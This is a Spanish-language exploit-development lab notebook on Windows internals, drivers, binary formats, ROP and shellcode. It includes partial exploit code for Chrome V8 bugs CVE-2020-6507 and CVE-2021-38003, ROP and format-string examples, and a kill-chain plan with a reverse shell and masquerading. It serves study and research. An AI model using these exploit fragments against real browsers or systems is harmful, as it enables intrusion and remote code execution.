Laboratorio de Exploit Development: Arquitectura del Kernel, Binarios y ROP en la Práctica

Bitácora técnica de un mes de laboratorio intensivo. Desde el estudio de Windows Internals, drivers KMDF/UMDF y formatos PE/ELF/DEX hasta la construcción de cadenas ROP, shellcode injection y bypass de mitigaciones. Incluye análisis de CVEs reales en Chrome V8 y WebRTC, laboratorio práctico con VirtualBox + fakedns + INetSim, y un plan de retoma con tareas pendientes.

/índice_de_la_bitácora +
Naturaleza de esta Bitácora

Este documento no es un tutorial lineal. Es una bitácora de laboratorio que recopila notas, diagramas, configuraciones y pruebas ejecutadas durante septiembre de 2024, complementadas con análisis de vulnerabilidades reales y fragmentos de mi proceso de aprendizaje. Refleja el camino de un investigador en formación: temas que se ramifican, conceptos que se retoman desde distintos ángulos, intentos fallidos que obligan a repasar fundamentos, y un laboratorio que crece orgánicamente.

00. Contexto y Motivación

Como investigador de seguridad ofensiva, las capacidades de identificar una vulnerabilidad y desarrollar un exploit funcional son cruciales para diversos propósitos: participación en programas de Bug Bounty, construcción de kits de exploits como PoC dentro de la empresa, y la comprensión profunda de las tácticas de adversarios reales. Este laboratorio nace de la necesidad de sistematizar ese conocimiento.

La ruta que tracé tiene tres fases: fundamentos (buffer overflow, ROP, tipos de corrupción de memoria), profundización (format strings, exploits de estructura de archivos, abuso de allocators dinámicos, concepto de máquinas extrañas) y práctica (desafíos como Guyinatuxedo's Nightmare, CTFs aplicados a escenarios reales y simulaciones de adversarios). Esta bitácora documenta principalmente la primera fase, con incursiones en la segunda.

El desarrollo de exploits comparte mucho del mindset del análisis de malware que ya practico en el triage automatizado de PE con Capstone y en la evasión estática de Mirai en ASM. La diferencia es que aquí no solo leo el código: lo manipulo para que haga lo que yo quiero. En esencia, es el arte de manipular el flujo de ejecución de un programa para que realice acciones no intencionadas por su desarrollador.

01. Windows Internals: Modos, Memoria y Componentes del Kernel

La explotación binaria en Windows exige comprender su arquitectura interna. No basta con conocer el lenguaje ensamblador: hay que entender dónde se ejecuta el código, cómo se gestiona la memoria y qué componentes del sistema operativo intervienen en cada operación.

1.1 Modo Usuario vs Modo Kernel

Windows divide la ejecución en dos modos de acceso al procesador. El modo usuario es donde se ejecutan las aplicaciones: cada proceso tiene su propio espacio de direcciones virtuales privado. El modo kernel comparte un único espacio de direcciones virtuales. Todo el código que se ejecuta aquí —controladores, el núcleo del sistema operativo, la HAL— tiene acceso completo a la memoria del sistema y a todas las instrucciones de la CPU. Un error en modo kernel puede tumbar todo el sistema. El modelo de seguridad de Windows está basado en anillos de protección: los exploits de kernel buscan elevar privilegios de Ring 3 a Ring 0.

Diagrama de arquitectura de modos de operación en Windows
windows-user-kernel-modes.png — División entre Modo Usuario y Modo Núcleo. La línea discontinua marca la frontera de privilegios.

1.2 Memoria Virtual y Espacios de Direcciones

Los procesadores utilizan direcciones virtuales que se traducen a direcciones físicas mediante tablas de páginas. Un proceso de 32 bits tiene un espacio de ~2 GB; uno de 64 bits tiene ~128 TB. Esto tiene implicaciones directas en la efectividad del ASLR. Los drivers en modo kernel deben tener cuidado al leer o escribir en direcciones del espacio de usuario, porque la dirección proporcionada pertenece al espacio virtual del proceso que inició la solicitud, que probablemente no sea el proceso actual al momento de completarse la operación.

Mapeo de memoria virtual a física entre procesos
virtual-physical-memory-mapping.png — Traducción de direcciones virtuales a físicas entre Notepad.exe y MyApp.exe. Páginas virtuales contiguas pueden mapearse a páginas físicas no contiguas.

1.3 Componentes del Kernel

ComponenteFunciónRelevancia para Explotación
Administrador de ObjetosArchivos, dispositivos, sincronización, registroManipulación de objetos del kernel para escalada
Administrador de MemoriaMemoria física del sistemaFundamental para ASLR, DEP, page tables
Administrador de E/SComunicación apps y controladoresIRPs, pilas de dispositivos, IOCTLs
Monitor de Referencia de SeguridadRutinas para control de accesoBypass de controles de acceso
HALCapa de abstracción de hardwareAcceso directo al hardware en exploits avanzados
Arquitectura completa del sistema operativo Windows NT/2000
windows-2000-architecture-core.png — Diagrama exhaustivo de la arquitectura interna de Windows con todos los subsistemas y gestores del Modo Núcleo.
Nota de Laboratorio

Este diagrama es mi referencia constante. Cada vez que analizo un driver vulnerable o construyo una cadena ROP, vuelvo aquí para ubicar en qué capa estoy operando. La explotación de kernel no se improvisa: requiere un mapa mental preciso de esta arquitectura.

02. Drivers en Windows: Tipos, Pilas y Modelos KMDF/UMDF

Los controladores son una superficie de ataque privilegiada. Un driver vulnerable en modo kernel es una puerta directa a Ring 0. En el laboratorio, dediqué varias sesiones a entender cómo se estructuran y cómo procesan solicitudes.

2.1 Tipos de Drivers y Pilas

Existen Filter Drivers (lógica adicional), Function Drivers (comunicación directa con el dispositivo) y Software Drivers (solo acceden a estructuras del kernel). Todos se organizan en pilas. Un concepto fundamental es que los controladores son una colección de callbacks: una vez inicializadas, esperan a que el sistema las invoque cuando ocurre un evento.

En Windows, los dispositivos se representan mediante nodos en el árbol PnP. Cada nodo tiene una pila de dispositivos: una lista ordenada de objetos de dispositivo, cada uno asociado a un controlador. El controlador del bus crea un Physical Device Object (PDO), luego se añaden el Function Driver (FDO) y opcionalmente Filter Drivers (Filter DO).

Árbol de objetos de dispositivo PCI
pci-device-objects-tree.png — Árbol jerárquico de objetos de dispositivo PCI.
Pila de dispositivos con filtro, FDO y PDO
device-stack-filter-fdo-pdo.png — Pila completa con Filter DO, FDO y PDO.
Arquitectura híbrida UMDF y KMDF
umdf-kmdf-usb-stack.png — Arquitectura UMDF/KMDF para dispositivo USB.

2.2 Implementación Práctica: Driver KMDF Mínimo

Para entender la estructura de un driver, implementé un driver Hello World KMDF. El punto de entrada es DriverEntry, que inicializa las estructuras del controlador. El sistema invoca EvtDeviceAdd cuando detecta el dispositivo:

#include <ntddk.h> #include <wdf.h> DRIVER_INITIALIZE DriverEntry; EVT_WDF_DRIVER_ADD KmdfHelloWorldEvtDeviceAdd; NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ) { NTSTATUS status = STATUS_SUCCESS; WDF_DRIVER_CONFIG config; KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "KmdfHelloWorld: DriverEntry\n")); WDF_DRIVER_CONFIG_INIT(&config, KmdfHelloWorldEvtDeviceAdd); status = WdfDriverCreate(DriverObject, RegistryPath, WDF_NO_OBJECT_ATTRIBUTES, &config, WDF_NO_HANDLE); return status; } NTSTATUS KmdfHelloWorldEvtDeviceAdd( _In_ WDFDRIVER Driver, _InOut_ PWDFDEVICE_INIT DeviceInit ) { UNREFERENCED_PARAMETER(Driver); NTSTATUS status; WDFDEVICE hDevice; KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "KmdfHelloWorld: EvtDeviceAdd\n")); status = WdfDeviceCreate(&DeviceInit, WDF_NO_OBJECT_ATTRIBUTES, &hDevice); return status; }
Superficie de Ataque en Drivers

Un driver vulnerable que expone IOCTLs sin validación permite que un atacante en modo usuario envíe solicitudes maliciosas al kernel. El caso de DEVCORE con Kernel Streaming —que analizo más adelante— demuestra que estos bugs pueden existir por décadas. Este patrón es el mismo que encontré en la auditoría de la API financiera: confiar en el origen sin verificar permisos.

03. Formatos de Binarios: PE, ELF, DEX/APK

El exploit development requiere comprender la estructura de los archivos que vamos a atacar. Cada sistema operativo tiene su formato: PE en Windows, ELF en Linux, y DEX dentro de APK en Android.

3.1 PE (Portable Executable) — Windows

El formato PE organiza el ejecutable en encabezados y secciones. El encabezado DOS redirige al punto de entrada. El encabezado NT contiene el entry point real, número de secciones, tamaño de la imagen. La tabla de secciones describe .text (código), .data (datos inicializados), .rdata (solo lectura), .reloc (reubicaciones). Para el exploit development, .reloc es crucial cuando ASLR está activo. La misma metodología de análisis que aplico en el triage de PE con Capstone es el punto de partida.

3.2 ELF (Executable and Linkable Format) — Linux

ELF comparte similitudes con PE pero con mayor flexibilidad. Las secciones clave son .text, .plt (fundamental para ROP), .got (objetivo clásico de sobrescritura), y .dynamic. ELF tiene segmentos además de secciones: el segmento de texto contiene el código, el de datos contiene los datos. Esta distinción es vital para exploits que manipulan el layout de memoria.

3.3 DEX/APK — Android

El APK es un empaquetamiento ZIP que contiene el archivo DEX, el manifiesto, recursos y bibliotecas nativas. El bytecode DEX se ejecuta en la máquina virtual Android (Dalvik/ART). Para el análisis de vulnerabilidades, generalmente trabajamos a nivel de VM. La misma metodología de reversing que usé en el análisis de la VM MC7 de Siemens aplica aquí: entender la máquina virtual, su formato de bytecode y cómo traduce instrucciones. Herramientas como JADX, Apktool, Frida y MobSF cubren el análisis estático y dinámico del ecosistema.

04. Assembly y Arquitecturas: x86, AMD64, ARM64

El Assembly es el lenguaje que usan directamente los procesadores. A diferencia de los programadores, los desarrolladores de exploits trabajamos con código máquina en bruto. Es importante entender lo que la CPU está viendo: registros, convenciones de llamada, segmentación de memoria, y traducción de tipos de alto nivel a bytes sin procesar.

4.1 x86 vs AMD64

4.2 ARM64 y el Bytecode DEX

ARM64 domina en dispositivos móviles. Basada en RISC, tiene un conjunto de instrucciones más simple que x86. Para la explotación de aplicaciones Android, normalmente trabajamos a nivel de VM analizando bytecode DEX. Las bibliotecas nativas (.so) son la excepción: ahí aplicamos explotación binaria tradicional sobre ARM64.

4.3 .NET y la Relación con el Kernel

Las aplicaciones .NET se compilan a CIL y son ejecutadas por el CLR mediante compilación JIT. El código gestionado interactúa con el nativo a través de P/Invoke y COM, creando puntos de transición entre modos que pueden ser explotados.

Diagrama de arquitectura .NET y Windows
arquitectura_dotnet_windows.png — Relación entre .NET y Windows OS. La interoperabilidad entre capas crea superficies de ataque.

05. Shellcode Injection y Técnicas de Evasión

La inyección de shellcode consiste en colocar fragmentos de código en ensamblador en una zona de memoria vulnerable y redirigir el flujo de ejecución hacia ellos. El shellcode no es portátil: cada arquitectura tiene su propio conjunto de instrucciones, endianness y convenciones de llamada.

5.1 Clasificación

5.2 Bytes Prohibidos y Gotchas

El byte nulo (0x00) termina cadenas en C, truncando el shellcode si se copia con strcpy. Los filtros de caracteres en aplicaciones web también bloquean ciertos bytes. Los "gotchas" comunes incluyen manejo incorrecto de la pila y olvido de mitigaciones como DEP. La depuración de shellcode es un arte en sí mismo. Referencias indispensables: x64.syscall.sh y Felix Cloutier x86 Reference.

06. Corrupción de Memoria y Mitigaciones

La corrupción de memoria es la puerta de entrada a muchos exploits. Ocurre cuando un programa escribe datos más allá de los límites asignados, sobrescribiendo datos adyacentes.

6.1 Tipos de Corrupción

VulnerabilidadMecanismoImpacto Típico
Buffer OverflowEscribir más datos de los que el búfer puede contenerSobrescritura del EIP/RIP → ejecución de código
Use-After-FreeAcceder a un bloque de memoria ya liberadoEscritura en memoria liberada → corrupción del heap
Double FreeLiberar un bloque de memoria dos vecesCorrupción de estructuras del gestor de memoria
Format StringFormato de string controlado por el atacanteLectura/escritura arbitraria en memoria
Race ConditionAcceso concurrente sin sincronizaciónCorrupción de datos, escalada de privilegios

6.2 Ejemplo Práctico: Buffer Overflow en el Stack

Durante el laboratorio, reproduje el caso clásico para entender la mecánica. En este ejemplo, name tiene 100 bytes pero read acepta 0x100 (256) bytes:

#include <stdio.h> #include <unistd.h> int main() { int secret = 0xdeadbeef; char name[100] = {0}; read(0, name, 0x100); if (secret == 0x1337) { puts("Wow! Here's a secret."); } else { puts("I guess you're not cool enough."); } }

Si el compilador ubica secret justo después de name en el stack, al enviar 100 'A's seguidas de \x37\x13\x00\x00 (0x1337 en little-endian), sobrescribimos secret y pasamos la verificación. Si continuamos enviando bytes, podemos sobrescribir el EBP y el EIP guardados, redirigiendo la ejecución a una función como give_shell(). Esta idea se extiende en Return Oriented Programming.

6.3 Mitigaciones

La interacción entre estas mitigaciones define la estrategia moderna: necesitamos una fuga de dirección (para ASLR), una cadena ROP (para DEP), y posiblemente un bypass del canary y de kCFG en kernel.

07. ROP, JOP y Técnicas Avanzadas

La Programación Orientada al Retorno (ROP) nace como respuesta a DEP. Si no podemos ejecutar código en la pila, usamos el código que ya existe en el binario. Buscamos "gadgets" —secuencias cortas de instrucciones que terminan en RET— y las encadenamos para formar un flujo de ejecución personalizado.

7.1 Técnicas de la Familia ROP

TécnicaMecanismoVentaja
ROPEncadena gadgets terminados en RETLa más versátil y documentada
JOPUsa instrucciones JMP en lugar de RETEvade detectores basados en secuencias de RET
Ret2libcLlama directamente a funciones de libcSimple si libc no tiene ASLR
Ret2syscallRealiza llamadas al sistema directamenteNo depende de funciones de biblioteca
Ret2pltLlama a funciones vía PLTÚtil para evadir ASLR parcial
Ret2dlresolveResuelve símbolos dinámicamenteEfectiva incluso con ASLR completo
Function OverridingSobrescribe el puntero a una funciónControl preciso del flujo de ejecución

7.2 Construcción de una Cadena ROP en 64 bits

En 64 bits, los argumentos se pasan en registros. Para llamar a system necesitamos controlar RDI. Usamos gadgets como pop rdi; ret encontrados con ROPgadget o ropper. Construimos una pila falsa:

// Layout de la pila falsa para ejecutar system("/bin/sh") 0xffff0028: 0x400d00 // Dirección de system en PLT 0xffff0020: 0x1337beef // Valor basura para R15 (ignorado) 0xffff0018: 0x1337beef // Valor para RSI (ignorado) 0xffff0010: 0x400c03 // Gadget: pop rsi; pop r15; ret 0xffff0008: 0xdeadbeef // Valor para RDI = puntero a "/bin/sh" RSP → 0xffff0000: 0x400c01 // Gadget: pop rdi; ret

Cuando main retorna, salta a pop rdi; ret. RDI recibe el valor de la pila. Luego retorna a pop rsi; pop r15; ret, que limpia los siguientes valores. Finalmente retorna a system con RDI apuntando a nuestro comando. La práctica con ROP Emporium y pwn.college fue esencial para dominar esta técnica.

7.3 Format String: Fuga de Información desde la Pila

Una vulnerabilidad de format string ocurre cuando la entrada del usuario se pasa como argumento de formato a printf. Con "%x.%x.%x.%x", printf popea valores de la pila. Con "%n$x" podemos indexar a un argumento arbitrario:

#include <stdio.h> #include <unistd.h> int main() { int secret_num = 0x8badf00d; char name[64] = {0}; read(0, name, 64); printf("Hello "); printf(name); printf("! You'll never get my secret!\n"); return 0; }

Con %7$llx como entrada, printf leakea secret_num desde la pila: Hello 8badf00d3ea43eef! You'll never get my secret!. Esta técnica es complementaria a ROP porque proporciona la fuga de dirección necesaria para vencer ASLR.

08. Casos Reales: CVEs en Chrome V8 y WebRTC

Para aterrizar los conceptos teóricos en vulnerabilidades reales, analicé varios CVEs explotados en la naturaleza. Estos casos muestran cómo se aplican en la práctica las técnicas de corrupción de memoria, fuga de información y bypass de mitigaciones que estudié en las secciones anteriores.

8.1 CVE-2020-6507 — Chrome V8 RCE (Out of Bounds Write)

Fuente: Packet Storm Security, publicado por Rajvardhan Agarwal (2021). Descripción oficial: out of bounds write en V8 en Chrome anterior a 83.0.4103.106 que permite heap corruption mediante una página HTML manipulada.

El exploit sigue un patrón que se ha vuelto estándar en la explotación de navegadores modernos. Primero, crea una instancia de WebAssembly para obtener una región de memoria con permisos RWX donde residen las funciones compiladas:

// 1. Configuración del entorno WebAssembly var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); // 2. Módulo WebAssembly mínimo que exporta una función var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]); var mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(mod); var shell = wasm_instance.exports.shell; // 3. Shellcode: ejecuta /bin/xcalc como PoC var shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, /* ... */]);

El exploit implementa primitivas de lectura/escritura arbitraria convirtiendo entre representaciones float64 y uint64 (ftoi y itof), corrompe un array para obtener acceso a la memoria del proceso, y escanea regiones predefinidas buscando la página RWX de WebAssembly:

// 4. Búsqueda de regiones RWX en el espacio de memoria de Chrome var search_space = [ [(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1] ]; // 5. Una vez encontrada la región RWX, escribir shellcode y ejecutar arb_write(rwx_addr, shellcode); shell();
Lección Técnica

Este exploit depende de que el sandbox de Chrome esté deshabilitado. La cadena completa —vulnerabilidad + bypass de sandbox— es lo que define el impacto real. En mi intento de replicación (documentado en la Sección 9), este fue precisamente el obstáculo que encontré.

8.2 CVE-2021-38003 — Fuga de TheHole vía JSON.stringify

Fuente: Chromium Bug Tracker, reportado por Clément Lecigne (Google TAG) con asistencia de Samuel Groß (Google Project Zero). Severidad: P0, explotado como 0-day.

Mecanismo: TheHole es un valor interno de V8 (Oddball) usado como centinela. Cuando no hay excepción pendiente, pending_exception_ se establece a the_hole_value(). El bug: en JsonStringifier::SerializeArrayLikeSlow, cuando builder_.HasOverflowed() retorna true, la función devuelve EXCEPTION sin haber establecido una excepción pendiente, causando que TheHole se filtre al script JavaScript.

// Trigger: JSON.stringify con array grande causa overflow sin excepción function trigger() { let a = [], b = []; let s = '"'.repeat(0x800000); a[20000] = s; for (let i = 0; i < 10; i++) a[i] = s; for (let i = 0; i < 10; i++) b[i] = a; try { JSON.stringify(b); } catch (hole) { return hole; // hole ahora es TheHole value } throw new Error('could not trigger'); }

Explotación vía Map: TheHole tiene manejo especial en JSMap. Al usarlo como clave y eliminarlo dos veces, el tamaño del mapa se decrementa dos veces, volviéndose -1:

var map = new Map(); map.set(1, 1); map.set(hole, 1); // Manejo especial de TheHole map.delete(hole); // Decrementa size map.delete(hole); // Double-delete: size = -1 map.delete(1); // Size es ahora -1, inserciones posteriores causan corrupción OOB for (let i = 0; i < 100; i++) { map.set(i, 1); // OOB write en el storage del Map }

Fix: commit be55c16e50 — verificar si hay una excepción pendiente antes de retornarla. El bug existió ~4 años antes de ser descubierto, afectando todas las versiones recientes de Chrome.

8.3 CVE-2023-7024 — WebRTC Heap Overflow

Fuente: Chromium Bug Tracker, reportado por Clément Lecigne y Vlad Stolyarov (Google TAG). Severidad: P1, explotado como RCE en Android.

Mecanismo: heap buffer overflow en WebRtcAudioSink::DeliverRebufferedAudio. Una condición de carrera o problema lógico resulta en un buffer asignado con tamaño incorrecto en OnSetFormat (basado en parámetros de audio manipulados vía JavaScript). Cuando DeliverRebufferedAudio escribe en este buffer asumiendo un tamaño mayor, ocurre un overflow de heap.

El stack trace de ASAN confirma el crash: heap-buffer-overflow WRITE of size 2 en AudioBus::ToInterleavedPartialWebRtcAudioSink::DeliverRebufferedAudio. El fix inicial fue detener el sink en configuración inválida (commit 340b7e30), con un fix subyacente para la causa raíz en un bug separado.

8.4 CVE-2023-2033 — JIT Optimisation Issue con TheHole

Fuente: Chromium Bug Tracker, reportado por Clément Lecigne (Google TAG). Severidad: P0, explotado como 0-day.

Mecanismo: Bug de optimización JIT. Durante Reflect.defineProperty(globalThis, 'stack', {...}), el getter de stack llama a Error.prepareStackTrace, que causa side effects e invalida el estado a medio computar del descriptor de propiedad. El código JIT ya compilado con asunciones incorrectas produce una fuga de TheHole. Fix: hacer que Error.captureStackTrace() sea un no-op para el objeto global.

Patrón Común en V8

Tres de los cuatro CVEs analizados (CVE-2021-38003, CVE-2023-2033, y el bug de JSON.stringify) involucran TheHole, el valor centinela interno de V8. La fuga de valores internos del motor JavaScript es un vector recurrente porque estos valores tienen comportamientos especiales que rompen las asunciones del código JIT y de las estructuras de datos del runtime. Entender los internals de V8 —Isolate, Oddball, Maps, propiedades internas— es tan importante como entender Assembly para la explotación de navegadores modernos.

09. Diario de Laboratorio: Intentos Reales y Metodología

Esta sección documenta el camino irregular antes de llegar a las notas estructuradas. Es el registro de intentos fallidos, bloqueos técnicos y ajustes de metodología que me obligaron a repasar fundamentos.

9.1 Intento de Replicación: CVE-2020-6507

En julio de 2024 intenté replicar el exploit de Chrome V8 RCE documentado en la Sección 8.1. El plan era usarlo como base para una cadena de infección completa: acceso inicial por Drive-by (T1189), ejecución vía explotación del cliente (T1203), evasión con ofuscación (T1140), y comunicación C2 mediante protocolo no estándar (T1095).

Tuve problemas con la búsqueda de direcciones de memoria. El exploit crea un arreglo grande, corrompe memoria, busca regiones RWX en espacios predefinidos, y si las encuentra inyecta shellcode. La lógica de escaneo no funcionaba en mi entorno. Después de varios días, descubrí la razón: la vulnerabilidad solo es explotable con el sandbox de Chrome deshabilitado. Esta limitación no estaba documentada claramente. La lección: un exploit funcional en laboratorio y uno viable en un ataque real están separados por las mitigaciones del entorno. Para profundizar en la técnica de búsqueda de regiones RWX, usé ired.team — Finding all RWX Protected Memory Regions.

9.2 Análisis de 7-Zip: Metodología de Reconocimiento

En agosto de 2024, inicié un análisis sistemático de 7-Zip como ejercicio de búsqueda de vulnerabilidades. Usando VirusTotal y Detect It Easy, determiné:

La estrategia de análisis: buscar funciones que manejen grandes datos de entrada y verificar comprobaciones de límite, identificar variables usadas antes de inicializarse, buscar operaciones con punteros sin validación, y considerar que las optimizaciones agresivas del compilador hacen el código más difícil de leer pero más propenso a errores sutiles. Una técnica adicional planeada era compilar con y sin optimizaciones para aislar comportamientos intencionales de artefactos del compilador.

9.3 Tropiezo con Assembly

Durante el análisis, identifiqué deficiencias en lectura de ensamblador. Hice un repaso documentando fragmentos:

_start: mov rax, rsp ; Guarda el stack pointer en rax sub rsp, 0xc8 ; Reserva 200 bytes para variables locales mov qword[rax+0x18], rbx ; Guarda argumentos en la pila mov qword[rax+0x20], rdi lea rcx, [rax-0x78] ; Carga dirección de estructura lpStartupInfo call qword [rel GetStartupInfoA] ; Llama a API de Windows nop ; Alineación de código cmp word [rel __dos_header], 0x5a4d ; ¿Es un PE válido? (firma MZ) je 0x49c13d ; Si coincide, continúa ejecución normal

La instrucción cmp word [rel __dos_header], 0x5a4d busca los bytes 'MZ' que identifican un ejecutable válido de Windows. Es el tipo de detalle que un desarrollador de exploits debe reconocer al instante.

9.4 DEVCORE: Kernel Streaming y Access Mode Mismatch

Durante este período, DEVCORE publicó Streaming vulnerabilities from Windows Kernel, documentando más de diez vulnerabilidades en Kernel Streaming en dos meses. La bug class principal: Access Mode Mismatch en el IO Manager. Cuando un driver usa IoBuildDeviceIoControlRequest sin establecer RequestorMode, se hereda KernelMode. Si el driver que recibe el IRP usa RequestorMode para decidir si hacer chequeos de seguridad, esos chequeos se omiten, permitiendo que un atacante desde modo usuario envíe solicitudes que pasen como si vinieran del kernel. DEVCORE explotó esto en ks.sys con RtlSetAllBits como gadget para bypass de kCFG, logrando escalada a SYSTEM. La vulnerabilidad existió desde Windows 7.

Conexión con el Estudio de Drivers

Las pilas de dispositivos, los IRPs, los IOCTLs y la validación de RequestorMode no son conceptos abstractos: son los mecanismos que DEVCORE explotó. El patrón de "confiar en que el llamante es legítimo" es el mismo error de autorización que documenté en la auditoría de la API financiera.

10. Laboratorio Práctico: VirtualBox + INetSim + fakedns

Como caso de estudio, simulé el rol de un Threat Author usando Kali Linux, REMnux y un Windows 10 vulnerable con CVE-2020-6507.

10.1 Preparación del Entorno

Configuré tres máquinas virtuales en VirtualBox con red Host-Only:

Configuración de IP estática en Windows 10
configuracion_ip_estatica_win10.png — IP estática 192.168.56.104, gateway y DNS en 192.168.56.100.
INetSim ejecutándose en las tres máquinas virtuales
inetsim_ejecucion_vms.png — REMnux ejecutando INetSim. Kali y Windows 10 acceden a la página default.
fakedns redirigiendo tráfico en Windows 10
fakedns_redireccion_win10.png — fakedns redirige google.com → 192.168.56.102.
Redirección DNS vista desde Kali Linux
fakedns_inetsim_kali.png — Kali abre google.com y recibe la página de INetSim.
Servidor HTTP Python en Kali Linux
servidor_http_python_kali.png — Kali sirviendo en puerto 8086.
Listado de directorios del home de Kali
listado_directorio_navegador_host.png — Archivos del home de Kali expuestos vía HTTP.
Servidor HTTP Python en Windows 10
servidor_http_python_win10.png — Windows 10 como servidor alternativo en puerto 7788.

10.2 Kill Chain del Caso de Estudio

TácticaTécnica MITREImplementación
Acceso InicialT1189 — Drive-by CompromiseSitio web falso que explota CVE-2020-6507
EjecuciónT1203 — Exploitation for Client ExecutionShellcode que descarga y ejecuta malware
EvasiónT1140 — Deobfuscate/DecodePayload codificado
EvasiónT1564 — Hide ArtifactsEjecución en memoria, sin archivos en disco
EvasiónT1036 — MasqueradingProceso malicioso se hace pasar por Chrome.exe desde %APPDATA%
C2T1095 — Non-Application Layer ProtocolReverse shell TCP hacia Kali Linux

La técnica de Masquerading (T1036) merece atención especial. En un escenario real, el malware se copiaría a %APPDATA%\Google\Chrome\Application\chrome.exe y se ejecutaría desde allí. Las herramientas EDR detectan esto buscando procesos chrome.exe ejecutándose desde directorios inusuales, firmas de código inválidas, o relaciones de proceso anómalas (ej. chrome.exe hijo de powershell.exe).

11. Conclusión, Estado del Laboratorio y Plan de Retoma

11.1 Lo que se Logró

Este laboratorio de septiembre de 2024 consolidó varios principios fundamentales de exploit development:

  1. Windows Internals aplicado: La arquitectura de modos, la memoria virtual, los componentes del kernel y las pilas de dispositivos no son teoría. Cada diagrama y cada tabla de esta bitácora representa horas de estudio que se traducen directamente en capacidad de análisis de superficies de ataque.
  2. Drivers como vector de escalada: La implementación del driver KMDF mínimo y el análisis del caso DEVCORE demuestran comprensión práctica de cómo se estructuran los controladores y dónde residen las vulnerabilidades.
  3. Formatos de binarios: PE, ELF y DEX/APK fueron analizados desde la perspectiva del atacante: qué secciones importan, dónde se esconde la información útil, cómo se comporta el enlazador dinámico.
  4. Assembly y shellcode: La capacidad de leer y documentar fragmentos de assembly, entender convenciones de llamada entre arquitecturas, y construir shellcode con consideraciones de bytes prohibidos es una competencia adquirida.
  5. ROP práctico: La construcción de cadenas ROP en 64 bits, con gadgets pop;ret y manipulación de registros, fue validada con ejercicios de ROP Emporium y pwn.college.
  6. Análisis de CVEs reales: Cuatro vulnerabilidades 0-day en Chrome V8 y WebRTC fueron diseccionadas, entendiendo el mecanismo de explotación, el parche y las implicaciones de seguridad.
  7. Laboratorio de simulación: El entorno VirtualBox con INetSim, fakedns y servidores HTTP para staging está configurado y documentado, listo para ser reactivado.

11.2 Estado Actual: Laboratorio Congelado

El laboratorio fue pausado al finalizar septiembre de 2024. Las VMs de VirtualBox permanecen configuradas pero apagadas. El análisis de 7-Zip quedó en fase de reconocimiento (compilador identificado, estrategia trazada, pero sin explotación completada). La replicación de CVE-2020-6507 quedó bloqueada por la dependencia del sandbox de Chrome. El estudio de Kernel Streaming de DEVCORE quedó como referencia técnica sin implementación práctica propia.

El congelamiento no fue por falta de interés, sino por redirección de prioridades hacia proyectos de clientes que requerían atención inmediata. Sin embargo, cada hora invertida en este laboratorio se tradujo en capacidad técnica que apliqué directamente en servicios profesionales: la metodología de reversing de formatos propietarios, el análisis de mecanismos de autorización en APIs, y la comprensión de mitigaciones a nivel de sistema operativo.

11.3 Plan de Retoma

Cuando decida retomar el laboratorio, estas son las tareas que tengo pendiente a cualquiera que decida replicar esta metologia le puede servir de guia:

#TareaPrioridadDependenciasResultado Esperado
1Completar desafíos pendientes de pwn.college (Debugging, Reverse Engineering, Memory Errors, Program Exploitation, Kernel Security)AltaVM con Linux, acceso a pwn.collegeDominio práctico de explotación binaria en Linux
2Montar laboratorio de fuzzing con AFL++ sobre objetivos userland (parsers de imágenes, codecs, librerías de compresión)AltaVM Linux, AFL++ instalado, binarios objetivo compilados con ASANCapacidad de encontrar crashes reproducibles y hacer triage
3Implementar exploit para CVE-2020-6507 encadenado con técnica de evasión de sandbox (investigar sandbox escapes públicos para versiones de Chrome <83)MediaVM Windows 10 con Chrome vulnerable, laboratorio VirtualBoxCadena de explotación completa: RCE + sandbox escape
4Retomar análisis de 7-Zip: completar el reversing de funciones que manejan entrada de archivos comprimidos, identificar posibles vectores de corrupciónMediaGhidra, IDA Free, VM WindowsReporte de superficie de ataque o PoC de vulnerabilidad
5Practicar heap exploitation: Use-After-Free, Double Free, House of Force, tcache poisoning usando los recursos de how2heapAltaVM Linux con glibc debug symbolsCapacidad de desarrollar exploits para vulnerabilidades de heap
6Estudiar e implementar bypass de kCFG (Kernel Control Flow Guard) usando técnicas documentadas por DEVCORE y otros investigadoresMediaVM Windows 10/11, WinDbg, driver vulnerable de pruebaPoC de escalada de privilegios en Windows con kCFG bypass
7Explorar fuzzing de drivers Windows con syzkaller o herramientas similaresBajaVM Windows con debugging kernel habilitadoCapacidad de encontrar vulnerabilidades en drivers reales
8Documentar metodología de análisis de APIs para detección de IDOR, JWT reuse y Broken Object Level Authorization, aplicando lecciones del pentest financieroMediaPostman, Burp Suite, entorno de pruebasGuía metodológica reutilizable para auditorías
9Estudiar explotación de microarquitectura: ejecución especulativa (Spectre, Meltdown) y vulnerabilidades de canal lateralBajaMaterial de pwn.college CSE598, CPU vulnerableComprensión de vectores de ataque a nivel de silicio
10Automatizar generación de exploits con scripts en Python: integración con Ghidra (headless), extracción automática de gadgets ROP, generación de payloadsMediaGhidra, Python, pwntoolsToolkit reutilizable para acelerar el ciclo de exploit development

11.4 Conclusión

Este laboratorio no es un producto terminado. Es una instantánea de un proceso en curso. La decisión de congelarlo fue pragmática: los clientes pagan las facturas, y el laboratorio —por más valioso que sea a largo plazo— no genera ingresos inmediatos. Pero cada servicio profesional que entregué después de septiembre de 2024 llevaba incrustado el conocimiento adquirido aquí.

Cuando un cliente pregunta si sé hacer reversing de un formato propietario, la respuesta viene de haber diseccionado PE, ELF y DEX. Cuando necesito explicar por qué una API es vulnerable a IDOR, la explicación se apoya en el mismo patrón de "validación de origen sin verificación de permisos" que estudié en los drivers de Windows y en los CVEs de Chrome. Cuando escribo shellcode para una PoC, cada byte prohibido que evito y cada consideración de endianness que aplico viene de las horas de práctica documentadas en esta bitácora.

